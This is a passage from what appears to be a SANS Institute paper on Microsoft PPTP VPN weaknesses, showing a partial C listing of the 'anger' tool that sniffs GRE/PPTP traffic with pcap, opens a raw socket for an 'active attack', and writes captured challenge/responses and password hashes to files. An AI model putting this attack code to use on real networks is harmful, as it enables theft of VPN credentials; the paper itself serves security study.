Microsoft pptp vpn vulnerabilities Exploits in Action

© SANS Institute 2000 - 200
                                                5
, Author retains full rights.
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
© SANS Institute 2000 - 200
5                                                                                                                 
Author retains full rights.
72
switch(pcap_datalink(pcap_h))
{
case DLT_EN10MB: 
offset = 14; break;
case DLT_NULL: 
offset = 4;  break;
case DLT_SLIP:
case DLT_PPP:  offset = 24; break;
case DLT_RAW: 
offset = 0;  break;
default: 
fatal("pcap_datalink");
}
#ifdef IP_HDRINCL
if (active_attack)
{
int on=1;
if ((rsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
fatal(NULL);
if (setsockopt(rsd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(int)) == -1)
fatal(NULL);
}
#endif
 
while(1)
{
if ((pkt = pcap_next(pcap_h, &pkthdr)) == NULL)
continue;
pkt += offset;
decaps_gre(pkt, pkthdr.caplen - offset);
}
pcap_close(pcap_h);
#ifdef IP_HDRINCL
close(rsd);
#endif
exit(0);
}
void usage(void)
{
#ifdef IP_HDRINCL
printf("usage: anger [ -v ] [ -d device ] output1 [ output2 ]\n\n");
printf("Write sniffed challenge/responces to output1.\n");
printf("If output2 is given it will perform an active attack on\n");
printf("PPTP connections and write the password hashes to output2.\n\n");
#else
printf("usage: anger [ -v ] [ -d device ] output1\n\n");
0

---